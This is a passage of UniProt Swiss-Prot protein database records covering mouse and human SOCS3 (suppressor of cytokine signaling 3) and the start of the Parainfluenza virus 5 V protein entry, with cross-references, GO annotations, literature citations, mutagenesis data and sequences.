DR Reactome; R-MMU-2586552; Signaling by Leptin.
DR Reactome; R-MMU-877300; Interferon gamma signaling.
DR Reactome; R-MMU-877312; Regulation of IFNG signaling.
DR Reactome; R-MMU-8849474; PTK6 Activates STAT3.
DR Reactome; R-MMU-909733; Interferon alpha/beta signaling.
DR Reactome; R-MMU-982772; Growth hormone receptor signaling.
DR UniPathway; UPA00143; -.
DR EvolutionaryTrace; O35718; -.
DR PRO; PR:O35718; -.
DR Proteomes; UP000000589; Chromosome 11.
DR Bgee; ENSMUSG00000053113; -.
DR CleanEx; MM_SOCS3; -.
DR Genevisible; O35718; MM.
DR GO; GO:0005737; C:cytoplasm; IBA:GO_Central.
DR GO; GO:0005829; C:cytosol; TAS:Reactome.
DR GO; GO:0004860; F:protein kinase inhibitor activity; IBA:GO_Central.
DR GO; GO:0007568; P:aging; IEA:Ensembl.
DR GO; GO:0060670; P:branching involved in labyrinthine layer morphogenesis; IMP:MGI.
DR GO; GO:0019221; P:cytokine-mediated signaling pathway; IBA:GO_Central.
DR GO; GO:0060397; P:JAK-STAT cascade involved in growth hormone signaling pathway; TAS:Reactome.
DR GO; GO:0043066; P:negative regulation of apoptotic process; IEA:InterPro.
DR GO; GO:0050728; P:negative regulation of inflammatory response; IGI:MGI.
DR GO; GO:0046627; P:negative regulation of insulin receptor signaling pathway; IDA:MGI.
DR GO; GO:0046426; P:negative regulation of JAK-STAT cascade; IBA:GO_Central.
DR GO; GO:0006469; P:negative regulation of protein kinase activity; IBA:GO_Central.
DR GO; GO:0009968; P:negative regulation of signal transduction; IGI:MGI.
DR GO; GO:0031100; P:organ regeneration; IEA:Ensembl.
DR GO; GO:0060674; P:placenta blood vessel development; IMP:MGI.
DR GO; GO:0045597; P:positive regulation of cell differentiation; IDA:MGI.
DR GO; GO:0016567; P:protein ubiquitination; IEA:UniProtKB-UniPathway.
DR GO; GO:0045595; P:regulation of cell differentiation; IMP:MGI.
DR GO; GO:0040008; P:regulation of growth; IEA:UniProtKB-KW.
DR GO; GO:0001932; P:regulation of protein phosphorylation; IDA:MGI.
DR GO; GO:0042493; P:response to drug; IEA:Ensembl.
DR GO; GO:0032355; P:response to estradiol; IEA:Ensembl.
DR GO; GO:0032094; P:response to food; IEA:Ensembl.
DR GO; GO:0010332; P:response to gamma radiation; IEA:Ensembl.
DR GO; GO:0051384; P:response to glucocorticoid; IEA:Ensembl.
DR GO; GO:0009408; P:response to heat; IEA:Ensembl.
DR GO; GO:0001666; P:response to hypoxia; IEA:Ensembl.
DR GO; GO:0032868; P:response to insulin; IEA:Ensembl.
DR GO; GO:0032496; P:response to lipopolysaccharide; IEA:Ensembl.
DR GO; GO:0032570; P:response to progesterone; IEA:Ensembl.
DR GO; GO:0060708; P:spongiotrophoblast differentiation; IMP:MGI.
DR GO; GO:0060707; P:trophoblast giant cell differentiation; IMP:MGI.
DR Gene3D; 3.30.505.10; -; 2.
DR InterPro; IPR000980; SH2.
DR InterPro; IPR028414; SOCS3.
DR InterPro; IPR001496; SOCS_box.
DR PANTHER; PTHR24369:SF78; PTHR24369:SF78; 2.
DR Pfam; PF00017; SH2; 1.
DR Pfam; PF07525; SOCS_box; 1.
DR SMART; SM00252; SH2; 1.
DR SMART; SM00253; SOCS; 1.
DR SMART; SM00969; SOCS_box; 1.
DR SUPFAM; SSF158235; SSF158235; 1.
DR SUPFAM; SSF55550; SSF55550; 1.
DR PROSITE; PS50001; SH2; 1.
DR PROSITE; PS50225; SOCS; 1.
PE 1: Evidence at protein level;
KW 3D-structure; Complete proteome; Growth regulation; Phosphoprotein;
KW Reference proteome; SH2 domain; Signal transduction inhibitor;
KW Ubl conjugation pathway.
FT CHAIN 1 225 Suppressor of cytokine signaling 3.
FT /FTId=PRO_0000181244.
FT DOMAIN 46 142 SH2. {ECO:0000255|PROSITE-
FT ProRule:PRU00191}.
FT DOMAIN 177 224 SOCS box. {ECO:0000255|PROSITE-
FT ProRule:PRU00194}.
FT REGION 22 33 Kinase inhibitory region (KIR).
FT REGION 34 45 Extended SH2 subdomain (ESS).
FT MUTAGEN 22 22 L->A: No effect on LIF-induced signal
FT transduction suppression.
FT {ECO:0000269|PubMed:10882725}.
FT MUTAGEN 22 22 L->D: Abolishes binding to JAK2. No
FT effect on binding to EPOR.
FT {ECO:0000269|PubMed:10882725}.
FT MUTAGEN 25 25 F->A: Loss of LIF/EPO-induced signal
FT transduction suppression. Abolishes
FT binding to JAK2 and to EPOR.
FT {ECO:0000269|PubMed:10882725}.
FT MUTAGEN 30 30 E->R: No effect on LIF-induced signal
FT transduction suppression.
FT MUTAGEN 45 45 G->A: Abolishes binding to EPOR. No
FT effect on binding to JAK2.
FT {ECO:0000269|PubMed:10882725}.
FT MUTAGEN 71 71 R->K: Little effect on LIF-induced signal
FT transduction suppression. Loss of EPO-
FT induced signal transduction suppression.
FT Abolishes binding to JAK2 and EPOR.
FT {ECO:0000269|PubMed:10882725}.
FT HELIX 32 43 {ECO:0000244|PDB:2HMH}.
FT STRAND 45 48 {ECO:0000244|PDB:2HMH}.
FT HELIX 53 61 {ECO:0000244|PDB:2HMH}.
FT STRAND 67 72 {ECO:0000244|PDB:2HMH}.
FT STRAND 79 86 {ECO:0000244|PDB:2HMH}.
FT STRAND 89 96 {ECO:0000244|PDB:2HMH}.
FT HELIX 98 100 {ECO:0000244|PDB:2HMH}.
FT STRAND 102 104 {ECO:0000244|PDB:2HMH}.
FT STRAND 117 119 {ECO:0000244|PDB:2HMH}.
FT HELIX 120 126 {ECO:0000244|PDB:2HMH}.
FT STRAND 137 139 {ECO:0000244|PDB:2BBU}.
FT STRAND 165 167 {ECO:0000244|PDB:2HMH}.
FT STRAND 174 176 {ECO:0000244|PDB:2HMH}.
FT HELIX 189 199 {ECO:0000244|PDB:2JZ3}.
SQ SEQUENCE 225 AA; 24776 MW; CD3859561D4CCDED CRC64;
MVTHSKFPAA GMSRPLDTSL RLKTFSSKSE YQLVVNAVRK LQESGFYWSA VTGGEANLLL
SAEPAGTFLI RDSSDQRHFF TLSVKTQSGT KNLRIQCEGG SFSLQSDPRS TQPVPRFDCV
LKLVHHYMPP PGTPSFSLPP TEPSSEVPEQ PPAQALPGST PKRAYYIYSG GEKIPLVLSR
PLSSNVATLQ HLCRKTVNGH LDSYEKVTQL PGPIREFLDQ YDAPL
//
ID SOCS3_HUMAN Reviewed; 225 AA.
AC O14543; O14509;
DT 16-APR-2002, integrated into UniProtKB/Swiss-Prot.
DT 01-JAN-1998, sequence version 1.
DT 07-SEP-2016, entry version 150.
DE RecName: Full=Suppressor of cytokine signaling 3;
DE Short=SOCS-3;
DE AltName: Full=Cytokine-inducible SH2 protein 3;
DE Short=CIS-3;
DE AltName: Full=STAT-induced STAT inhibitor 3;
DE Short=SSI-3;
GN Name=SOCS3; Synonyms=CIS3, SSI3;
OS Homo sapiens (Human).
OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
OC Mammalia; Eutheria; Euarchontoglires; Primates; Haplorrhini;
OC Catarrhini; Hominidae; Homo.
OX NCBI_TaxID=9606;
RN [1]
RP NUCLEOTIDE SEQUENCE [MRNA], AND VARIANT TYR-125.
RC TISSUE=T-cell lymphoma;
RX PubMed=9266833; DOI=10.1006/bbrc.1997.7080;
RA Minamoto S., Ikegame K., Ueno K., Narazaki M., Naka T., Yamamoto H.,
RA Matsumoto T., Saito H., Hosoe S., Kishimoto T.;
RT "Cloning and functional analysis of new members of STAT induced STAT
RT inhibitor (SSI) family: SSI-2 and SSI-3.";
RL Biochem. Biophys. Res. Commun. 237:79-83(1997).
RN [2]
RP NUCLEOTIDE SEQUENCE [MRNA].
RX PubMed=9344848; DOI=10.1006/bbrc.1997.7484;
RA Masuhara M., Sakamoto H., Matsumoto A., Suzuki R., Yasukawa H.,
RA Mitsui K., Wakioka T., Tanimura S., Sasaki A., Misawa H., Yokouchi M.,
RA Ohtsubo M., Yoshimura A.;
RT "Cloning and characterization of novel CIS family genes.";
RL Biochem. Biophys. Res. Commun. 239:439-446(1997).
RN [3]
RP NUCLEOTIDE SEQUENCE [MRNA].
RC TISSUE=Skeletal muscle;
RX PubMed=11071852; DOI=10.1006/bbrc.2000.3762;
RA Dey B.R., Furlanetto R.W., Nissley P.;
RT "Suppressor of cytokine signaling (SOCS)-3 protein interacts with the
RT insulin-like growth factor-I receptor.";
RL Biochem. Biophys. Res. Commun. 278:38-43(2000).
RN [4]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE MRNA].
RC TISSUE=Placenta;
RX PubMed=15489334; DOI=10.1101/gr.2596504;
RG The MGC Project Team;
RT "The status, quality, and expansion of the NIH full-length cDNA
RT project: the Mammalian Gene Collection (MGC).";
RL Genome Res. 14:2121-2127(2004).
RN [5]
RP INTERACTION WITH JAK2, AND MUTAGENESIS OF LEU-22; PHE-25; GLU-30;
RP TYR-31; VAL-34; LEU-41; GLY-45 AND ARG-71.
RX PubMed=10421843; DOI=10.1046/j.1365-2443.1999.00263.x;
RA Sasaki A., Yasukawa H., Suzuki A., Kamizono S., Syoda T., Kinjyo I.,
RA Sasaki M., Johnston J.A., Yoshimura A.;
RT "Cytokine-inducible SH2 protein-3 (CIS3/SOCS3) inhibits Janus tyrosine
RT kinase by binding through the N-terminal kinase inhibitory region as
RT well as SH2 domain.";
RL Genes Cells 4:339-351(1999).
RN [6]
RP INTERACTION WITH EPOR, AND MUTAGENESIS OF GLY-53; LEU-58; LEU-93 AND
RP ARG-94.
RX PubMed=12027890; DOI=10.1046/j.1432-1033.2002.02916.x;
RA Hoertner M., Nielsch U., Mayr L.M., Heinrich P.C., Haan S.;
RT "A new high affinity binding site for suppressor of cytokine
RT signaling-3 on the erythropoietin receptor.";
RL Eur. J. Biochem. 269:2516-2526(2002).
RN [7]
RP INTERACTION WITH IL12RB2, AND MUTAGENESIS OF ARG-71.
RX PubMed=14559241; DOI=10.1016/j.bbrc.2003.09.140;
RA Yamamoto K., Yamaguchi M., Miyasaka N., Miura O.;
RT "SOCS-3 inhibits IL-12-induced STAT4 activation by binding through its
RT SH2 domain to the STAT4 docking site in the IL-12 receptor beta2
RT subunit.";
RL Biochem. Biophys. Res. Commun. 310:1188-1193(2003).
RN [8]
RP INTERACTION WITH CSNK1E, AND PROTEIN STABILIZATION.
RX PubMed=15070676; DOI=10.1182/blood-2003-08-2768;
RA Okamura A., Iwata N., Nagata A., Tamekane A., Shimoyama M., Gomyo H.,
RA Yakushijin K., Urahama N., Hamaguchi M., Fukui C., Chihara K., Ito M.,
RA Matsui T.;
RT "Involvement of casein kinase Iepsilon in cytokine-induced
RT granulocytic differentiation.";
RL Blood 103:2997-3004(2004).
RN [9]
RP FUNCTION IN AN E3 UBIQUITIN-PROTEIN LIGASE COMPLEX, AND INTERACTION
RP WITH CUL5; RNF7; TCEB1 AND TCEB2.
RX PubMed=15601820; DOI=10.1101/gad.1252404;
RA Kamura T., Maenaka K., Kotoshiba S., Matsumoto M., Kohda D.,
RA Conaway R.C., Conaway J.W., Nakayama K.I.;
RT "VHL-box and SOCS-box domains determine binding specificity for Cul2-
RT Rbx1 and Cul5-Rbx2 modules of ubiquitin ligases.";
RL Genes Dev. 18:3055-3065(2004).
RN [10]
RP POSSIBLE INVOLVEMENT IN ATOPIC DERMATITIS.
RX PubMed=16685656; DOI=10.1086/504272;
RA Ekelund E., Saeaef A., Tengvall-Linder M., Melen E., Link J.,
RA Barker J., Reynolds N.J., Meggitt S.J., Kere J., Wahlgren C.-F.,
RA Pershagen G., Wickman M., Nordenskjoeld M., Kockum I., Bradley M.;
RT "Elevated expression and genetic association links the SOCS3 gene to
RT atopic dermatitis.";
RL Am. J. Hum. Genet. 78:1060-1065(2006).
RN [11]
RP INTERACTION WITH FGFR3.
RX PubMed=16410555; DOI=10.1242/jcs.02740;
RA Ben-Zvi T., Yayon A., Gertler A., Monsonego-Ornan E.;
RT "Suppressors of cytokine signaling (SOCS) 1 and SOCS3 interact with
RT and modulate fibroblast growth factor receptor signaling.";
RL J. Cell Sci. 119:380-387(2006).
RN [12]
RP INTERACTION WITH NOD2.
RX PubMed=23019338; DOI=10.1074/jbc.M112.410027;
RA Lee K.H., Biswas A., Liu Y.J., Kobayashi K.S.;
RT "Proteasomal degradation of Nod2 protein mediates tolerance to
RT bacterial cell wall components.";
RL J. Biol. Chem. 287:39800-39811(2012).
CC -!- FUNCTION: SOCS family proteins form part of a classical negative
CC feedback system that regulates cytokine signal transduction. SOCS3
CC is involved in negative regulation of cytokines that signal
CC through the JAK/STAT pathway. Inhibits cytokine signal
CC transduction by binding to tyrosine kinase receptors including
CC gp130, LIF, erythropoietin, insulin, IL12, GCSF and leptin
CC receptors. Binding to JAK2 inhibits its kinase activity.
CC Suppresses fetal liver erythropoiesis. Regulates onset and
CC maintenance of allergic responses mediated by T-helper type 2
CC cells. Regulates IL-6 signaling in vivo (By similarity). Probable
CC substrate recognition component of a SCF-like ECS (Elongin BC-
CC CUL2/5-SOCS-box protein) E3 ubiquitin-protein ligase complex which
CC mediates the ubiquitination and subsequent proteasomal degradation
CC of target proteins. Seems to recognize IL6ST (By similarity).
CC {ECO:0000250, ECO:0000269|PubMed:15601820}.
CC -!- PATHWAY: Protein modification; protein ubiquitination.
CC -!- SUBUNIT: Interacts with multiple activated proteins of the
CC tyrosine kinase signaling pathway including IGF1 receptor, insulin
CC receptor and JAK2. Binding to JAK2 is mediated through the KIR and
CC SH2 domains to a phosphorylated tyrosine residue within the JAK2
CC JH1 domain (PubMed:10421843). Binds specific activated tyrosine
CC residues of the leptin, EPO, IL12, GSCF and gp130 receptors
CC (PubMed:12027890, PubMed:14559241). Interaction with CSNK1E
CC stabilizes SOCS3 protein (PubMed:15070676). Component of the
CC probable ECS(SOCS3) E3 ubiquitin-protein ligase complex which
CC contains CUL5, RNF7/RBX2, Elongin BC complex and SOCS3
CC (PubMed:15601820). Interacts with CUL5, RNF7, TCEB1 and TCEB2
CC (PubMed:15601820). Interacts with CUL2 (PubMed:15601820).
CC Interacts with FGFR3 (PubMed:16410555). Interacts with INSR (By
CC similarity). Interacts with BCL10; this interaction may interfere
CC with BCL10-binding with PELI2 (By similarity). Interacts with NOD2
CC (via CARD domain); the interaction promotes NOD2 degradation
CC (PubMed:23019338). {ECO:0000250|UniProtKB:O35718,
CC ECO:0000269|PubMed:10421843, ECO:0000269|PubMed:12027890,
CC ECO:0000269|PubMed:14559241, ECO:0000269|PubMed:15070676,
CC ECO:0000269|PubMed:15601820, ECO:0000269|PubMed:16410555,
CC ECO:0000269|PubMed:23019338}.
CC -!- INTERACTION:
CC Q13480:GAB1; NbExp=4; IntAct=EBI-714146, EBI-517684;
CC Q8N8K9:KIAA1958; NbExp=3; IntAct=EBI-714146, EBI-10181113;
CC P10721:KIT; NbExp=3; IntAct=EBI-714146, EBI-1379503;
CC Q66K74:MAP1S; NbExp=6; IntAct=EBI-714146, EBI-2133734;
CC I6L996:PTK2; NbExp=3; IntAct=EBI-714146, EBI-10181089;
CC O95863:SNAI1; NbExp=3; IntAct=EBI-714146, EBI-1045459;
CC P07947:YES1; NbExp=3; IntAct=EBI-714146, EBI-515331;
CC -!- TISSUE SPECIFICITY: Widely expressed with high expression in
CC heart, placenta, skeletal muscle, peripheral blood leukocytes,
CC fetal and adult lung, and fetal liver and kidney. Lower levels in
CC thymus.
CC -!- DOMAIN: The ESS and SH2 domains are required for JAK
CC phosphotyrosine binding. Further interaction with the KIR domain
CC is necessary for signal and kinase inhibition.
CC -!- DOMAIN: The SOCS box domain mediates the interaction with the
CC Elongin BC complex, an adapter module in different E3 ubiquitin
CC ligase complexes. {ECO:0000250}.
CC -!- PTM: Phosphorylated on tyrosine residues after stimulation by the
CC cytokines, IL-2, EPO or IGF1.
CC -!- DISEASE: Note=There is some evidence that SOCS3 may be a
CC susceptibility gene for atopic dermatitis linked to 17q25. SOCS3
CC messenger RNA is significantly more highly expressed in skin from
CC patients with atopic dermatitis than in skin from healthy
CC controls. Furthermore, a genetic association between atopic
CC dermatitis and a haplotype in the SOCS3 gene has been found in two
CC independent groups of patients. {ECO:0000269|PubMed:16685656}.
CC -!- SIMILARITY: Contains 1 SH2 domain. {ECO:0000255|PROSITE-
CC ProRule:PRU00191}.
CC -!- SIMILARITY: Contains 1 SOCS box domain. {ECO:0000255|PROSITE-
CC ProRule:PRU00194}.
CC -!- WEB RESOURCE: Name=Atlas of Genetics and Cytogenetics in Oncology
CC and Haematology;
CC URL="http://atlasgeneticsoncology.org/Genes/SOCS3ID44124ch17q25.html";
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DR EMBL; AB004904; BAA22430.1; -; mRNA.
DR EMBL; AB006967; BAA22537.1; -; mRNA.
DR EMBL; AF159854; AAD42231.1; -; mRNA.
DR EMBL; BC060858; AAH60858.1; -; mRNA.
DR CCDS; CCDS11756.1; -.
DR PIR; JC5627; JC5627.
DR PIR; JC5761; JC5761.
DR RefSeq; NP_003946.3; NM_003955.4.
DR UniGene; Hs.527973; -.
DR UniGene; Hs.703620; -.
DR ProteinModelPortal; O14543; -.
DR SMR; O14543; 30-185.
DR BioGrid; 114488; 76.
DR IntAct; O14543; 36.
DR MINT; MINT-149732; -.
DR STRING; 9606.ENSP00000330341; -.
DR iPTMnet; O14543; -.
DR PhosphoSite; O14543; -.
DR PaxDb; O14543; -.
DR PeptideAtlas; O14543; -.
DR PRIDE; O14543; -.
DR DNASU; 9021; -.
DR Ensembl; ENST00000330871; ENSP00000330341; ENSG00000184557.
DR GeneID; 9021; -.
DR KEGG; hsa:9021; -.
DR CTD; 9021; -.
DR GeneCards; SOCS3; -.
DR HGNC; HGNC:19391; SOCS3.
DR HPA; CAB012220; -.
DR MIM; 604176; gene.
DR neXtProt; NX_O14543; -.
DR PharmGKB; PA134885765; -.
DR eggNOG; KOG4566; Eukaryota.
DR eggNOG; ENOG4111V4J; LUCA.
DR GeneTree; ENSGT00760000119136; -.
DR HOGENOM; HOG000236320; -.
DR HOVERGEN; HBG105645; -.
DR InParanoid; O14543; -.
DR KO; K04696; -.
DR OMA; KRTYYIY; -.
DR OrthoDB; EOG091G0NEU; -.
DR PhylomeDB; O14543; -.
DR TreeFam; TF321368; -.
DR Reactome; R-HSA-1059683; Interleukin-6 signaling.
DR Reactome; R-HSA-2586552; Signaling by Leptin.
DR Reactome; R-HSA-877300; Interferon gamma signaling.
DR Reactome; R-HSA-877312; Regulation of IFNG signaling.
DR Reactome; R-HSA-8849474; PTK6 Activates STAT3.
DR Reactome; R-HSA-909733; Interferon alpha/beta signaling.
DR Reactome; R-HSA-912694; Regulation of IFNA signaling.
DR Reactome; R-HSA-982772; Growth hormone receptor signaling.
DR Reactome; R-HSA-983168; Antigen processing: Ubiquitination & Proteasome degradation.
DR SignaLink; O14543; -.
DR SIGNOR; O14543; -.
DR UniPathway; UPA00143; -.
DR ChiTaRS; SOCS3; human.
DR GeneWiki; SOCS3; -.
DR GenomeRNAi; 9021; -.
DR PRO; PR:O14543; -.
DR Proteomes; UP000005640; Chromosome 17.
DR Bgee; ENSG00000184557; -.
DR CleanEx; HS_SOCS3; -.
DR ExpressionAtlas; O14543; baseline and differential.
DR Genevisible; O14543; HS.
DR GO; GO:0005737; C:cytoplasm; IBA:GO_Central.
DR GO; GO:0005829; C:cytosol; TAS:Reactome.
DR GO; GO:0004860; F:protein kinase inhibitor activity; TAS:ProtInc.
DR GO; GO:0007568; P:aging; IEA:Ensembl.
DR GO; GO:0060670; P:branching involved in labyrinthine layer morphogenesis; IEA:Ensembl.
DR GO; GO:0019221; P:cytokine-mediated signaling pathway; IBA:GO_Central.
DR GO; GO:0007259; P:JAK-STAT cascade; TAS:ProtInc.
DR GO; GO:0043066; P:negative regulation of apoptotic process; TAS:ProtInc.
DR GO; GO:0050728; P:negative regulation of inflammatory response; IEA:Ensembl.
DR GO; GO:0046627; P:negative regulation of insulin receptor signaling pathway; IBA:GO_Central.
DR GO; GO:0046426; P:negative regulation of JAK-STAT cascade; IMP:BHF-UCL.
DR GO; GO:0042512; P:negative regulation of tyrosine phosphorylation of Stat1 protein; IMP:BHF-UCL.
DR GO; GO:0042518; P:negative regulation of tyrosine phosphorylation of Stat3 protein; IMP:BHF-UCL.
DR GO; GO:0031100; P:organ regeneration; IEA:Ensembl.
DR GO; GO:0060674; P:placenta blood vessel development; IEA:Ensembl.
DR GO; GO:0045597; P:positive regulation of cell differentiation; IEA:Ensembl.
DR GO; GO:0042517; P:positive regulation of tyrosine phosphorylation of Stat3 protein; TAS:Reactome.
DR GO; GO:0016567; P:protein ubiquitination; IEA:UniProtKB-UniPathway.
DR GO; GO:0040008; P:regulation of growth; IEA:UniProtKB-KW.
DR GO; GO:0060334; P:regulation of interferon-gamma-mediated signaling pathway; TAS:Reactome.
DR GO; GO:0042493; P:response to drug; IEA:Ensembl.
DR GO; GO:0032355; P:response to estradiol; IEA:Ensembl.
DR GO; GO:0032094; P:response to food; IEA:Ensembl.
DR GO; GO:0010332; P:response to gamma radiation; IEA:Ensembl.
DR GO; GO:0051384; P:response to glucocorticoid; IEA:Ensembl.
DR GO; GO:0009408; P:response to heat; IEA:Ensembl.
DR GO; GO:0001666; P:response to hypoxia; IEA:Ensembl.
DR GO; GO:0032868; P:response to insulin; IEA:Ensembl.
DR GO; GO:0032496; P:response to lipopolysaccharide; IEA:Ensembl.
DR GO; GO:0032570; P:response to progesterone; IEA:Ensembl.
DR GO; GO:0060708; P:spongiotrophoblast differentiation; IEA:Ensembl.
DR GO; GO:0060707; P:trophoblast giant cell differentiation; IEA:Ensembl.
DR Gene3D; 3.30.505.10; -; 2.
DR InterPro; IPR000980; SH2.
DR InterPro; IPR028414; SOCS3.
DR InterPro; IPR001496; SOCS_box.
DR PANTHER; PTHR24369:SF78; PTHR24369:SF78; 2.
DR Pfam; PF00017; SH2; 1.
DR Pfam; PF07525; SOCS_box; 1.
DR SMART; SM00252; SH2; 1.
DR SMART; SM00253; SOCS; 1.
DR SMART; SM00969; SOCS_box; 1.
DR SUPFAM; SSF158235; SSF158235; 1.
DR SUPFAM; SSF55550; SSF55550; 1.
DR PROSITE; PS50001; SH2; 1.
DR PROSITE; PS50225; SOCS; 1.
PE 1: Evidence at protein level;
KW Complete proteome; Growth regulation; Pharmaceutical; Phosphoprotein;
KW Polymorphism; Reference proteome; SH2 domain;
KW Signal transduction inhibitor; Ubl conjugation pathway.
FT CHAIN 1 225 Suppressor of cytokine signaling 3.
FT /FTId=PRO_0000181243.
FT DOMAIN 46 142 SH2. {ECO:0000255|PROSITE-
FT ProRule:PRU00191}.
FT DOMAIN 177 224 SOCS box. {ECO:0000255|PROSITE-
FT ProRule:PRU00194}.
FT REGION 22 33 Kinase inhibitory region (KIR).
FT REGION 34 45 Extended SH2 subdomain (ESS).
FT VARIANT 125 125 H -> Y (in dbSNP:rs1061489).
FT {ECO:0000269|PubMed:9266833}.
FT /FTId=VAR_030033.
FT MUTAGEN 22 22 L->A,F: Little effect on EPO-induced
FT STAT5 signaling suppression.
FT {ECO:0000269|PubMed:10421843}.
FT MUTAGEN 22 22 L->D: Complete loss of EPO-induced STAT5
FT signaling suppression. No suppression of
FT JAK2 phosphorylation.
FT {ECO:0000269|PubMed:10421843}.
FT MUTAGEN 25 25 F->A: Complete loss of EPO-induced STAT5
FT signaling suppression. Abolishes binding
FT to JH1. {ECO:0000269|PubMed:10421843}.
FT MUTAGEN 30 30 E->R: Partial loss of EPO-induced STAT5
FT signaling suppression. No effect on LIF-
FT induced signaling suppression. Abolishes
FT binding to JH1. Inhibits JAK2
FT phosphorylation.
FT {ECO:0000269|PubMed:10421843}.
FT MUTAGEN 31 31 Y->A: Complete loss of EPO-induced STAT5
FT signaling suppression. No effect on LIF-
FT induced STAT3 signaling. Abolishes
FT binding to JH1.
FT {ECO:0000269|PubMed:10421843}.
FT MUTAGEN 31 31 Y->F: Little effect on EPO-induced
FT signaling suppression.
FT {ECO:0000269|PubMed:10421843}.
FT MUTAGEN 34 34 V->E: Complete loss of EPO/LIF-induced
FT signaling suppression.
FT {ECO:0000269|PubMed:10421843}.
FT MUTAGEN 41 41 L->R: Complete loss of EPO/LIF-induced
FT signaling inhibition. Abolishes binding
FT to JH1. {ECO:0000269|PubMed:10421843}.
FT MUTAGEN 45 45 G->A: Little effect on EPO/LIF signaling.
FT {ECO:0000269|PubMed:10421843}.
FT MUTAGEN 53 53 G->V: No effect on binding to Y429/Y431
FT phosphorylated EPOR.
FT {ECO:0000269|PubMed:12027890}.
FT MUTAGEN 58 58 L->A: Impaired binding to Y429/Y431
FT phosphorylated EPOR.
FT {ECO:0000269|PubMed:12027890}.
FT MUTAGEN 71 71 R->E: Complete loss of EPO/LIF-induced
FT signaling suppression. No inhibition of
FT JAK2 phosphorylation.
FT {ECO:0000269|PubMed:10421843,
FT ECO:0000269|PubMed:14559241}.
FT MUTAGEN 71 71 R->K: No effect on EPO/LIF-induced
FT signaling suppression. Partial
FT suppression of JAK2 phosphorylation. No
FT effect on binding to JH1. Loss of binding
FT to IL12RB2. {ECO:0000269|PubMed:10421843,
FT ECO:0000269|PubMed:14559241}.
FT MUTAGEN 93 93 L->A: Impaired binding to Y429/Y431
FT phosphorylated EPOR.
FT {ECO:0000269|PubMed:12027890}.
FT MUTAGEN 94 94 R->E: Greatly impaired binding to
FT Y429/Y431 phosphorylated EPOR.
FT {ECO:0000269|PubMed:12027890}.
FT CONFLICT 81 81 T -> A (in Ref. 1; BAA22430).
FT {ECO:0000305}.
SQ SEQUENCE 225 AA; 24770 MW; 08581DC411EFFF19 CRC64;
MVTHSKFPAA GMSRPLDTSL RLKTFSSKSE YQLVVNAVRK LQESGFYWSA VTGGEANLLL
SAEPAGTFLI RDSSDQRHFF TLSVKTQSGT KNLRIQCEGG SFSLQSDPRS TQPVPRFDCV
LKLVHHYMPP PGAPSFPSPP TEPSSEVPEQ PSAQPLPGSP PRRAYYIYSG GEKIPLVLSR
PLSSNVATLQ HLCRKTVNGH LDSYEKVTQL PGPIREFLDQ YDAPL
//
ID V_PIV5 Reviewed; 222 AA.
AC P11207;
DT 01-JUL-1989, integrated into UniProtKB/Swiss-Prot.
DT 01-JUL-1989, sequence version 1.
DT 16-MAR-2016, entry version 85.
DE RecName: Full=Non-structural protein V;
GN Name=P/V;
OS Parainfluenza virus 5 (strain W3) (PIV5) (Simian virus 5).
OC Viruses; ssRNA viruses; ssRNA negative-strand viruses;
OC Mononegavirales; Paramyxoviridae; Paramyxovirinae; Rubulavirus.
OX NCBI_TaxID=11208;
OH NCBI_TaxID=9615; Canis lupus familiaris (Dog) (Canis familiaris).
OH NCBI_TaxID=9606; Homo sapiens (Human).
RN [1]
RP NUCLEOTIDE SEQUENCE [MRNA], AND RNA EDITING.
RX PubMed=3044614; DOI=10.1016/S0092-8674(88)91285-8;
RA Thomas S.M., Lamb R.A., Paterson R.G.;
RT "Two mRNAs that differ by two nontemplated nucleotides encode the
RT amino coterminal proteins P and V of the paramyxovirus SV5.";
RL Cell 54:891-902(1988).
RN [2]
RP INTERACTION WITH PROTEIN NP.
RX PubMed=8862406; DOI=10.1006/viro.1996.0513;
RA Randall R.E., Bermingham A.;
RT "NP:P and NP:V interactions of the paramyxovirus simian virus 5
RT examined using a novel protein:protein capture assay.";
RL Virology 224:121-129(1996).
RN [3]
RP RNA-BINDING.
RX PubMed=9400618; DOI=10.1006/viro.1997.8866;
RA Lin G.Y., Paterson R.G., Lamb R.A.;
RT "The RNA binding region of the paramyxovirus SV5 V and P proteins.";
RL Virology 238:460-469(1997).
RN [4]
RP INTERACTION WITH HUMAN IFIH1/MDA5, AND INTERFERON EVASION.
RX PubMed=15563593; DOI=10.1073/pnas.0407639101;
RA Andrejeva J., Childs K.S., Young D.F., Carlos T.S., Stock N.,
RA Goodbourn S., Randall R.E.;
RT "The V proteins of paramyxoviruses bind the IFN-inducible RNA
RT helicase, mda-5, and inhibit its activation of the IFN-beta
RT promoter.";
RL Proc. Natl. Acad. Sci. U.S.A. 101:17264-17269(2004).
RN [5]
RP UBIQUITINATION OF HUMAN STAT1 AND HUMAN STAT2.
RX PubMed=15604442; DOI=10.1099/vir.0.80263-0;
RA Precious B., Young D.F., Andrejeva L., Goodbourn S., Randall R.E.;
RT "In vitro and in vivo specificity of ubiquitination and degradation of
RT STAT1 and STAT2 by the V proteins of the paramyxoviruses simian virus
RT 5 and human parainfluenza virus type 2.";
RL J. Gen. Virol. 86:151-158(2005).
RN [6]
RP FUNCTION.
RX PubMed=15950997; DOI=10.1016/j.virol.2005.05.014;
RA Lin Y., Horvath F., Aligo J.A., Wilson R., He B.;
RT "The role of simian virus 5 V protein on viral RNA synthesis.";
RL Virology 338:270-280(2005).
RN [7]
RP INTERACTION WITH HUMAN DDB1 AND HUMAN STAT2.
RX PubMed=16227264; DOI=10.1128/JVI.79.21.13434-13441.2005;
RA Precious B., Childs K., Fitzpatrick-Swallow V., Goodbourn S.,
RA Randall R.E.;
RT "Simian virus 5 V protein acts as an adaptor, linking DDB1 to STAT2,
RT to facilitate the ubiquitination of STAT1.";
RL J. Virol. 79:13434-13441(2005).
RN [8]
RP FUNCTION, AND INTERACTION WITH HOST DHX58.
RX PubMed=22301134; DOI=10.1128/JVI.06405-11;
RA Childs K., Randall R., Goodbourn S.;
RT "Paramyxovirus V proteins interact with the RNA Helicase LGP2 to
RT inhibit RIG-I-dependent interferon induction.";
RL J. Virol. 86:3411-3421(2012).
RN [9]
RP X-RAY CRYSTALLOGRAPHY (2.85 ANGSTROMS) OF 1-222, AND FUNCTION.
RX PubMed=16413485; DOI=10.1016/j.cell.2005.10.033;
RA Li T., Chen X., Garbutt K.C., Zhou P., Zheng N.;
RT "Structure of DDB1 in complex with a paramyxovirus V protein: viral
RT hijack of a propeller cluster in ubiquitin ligase.";
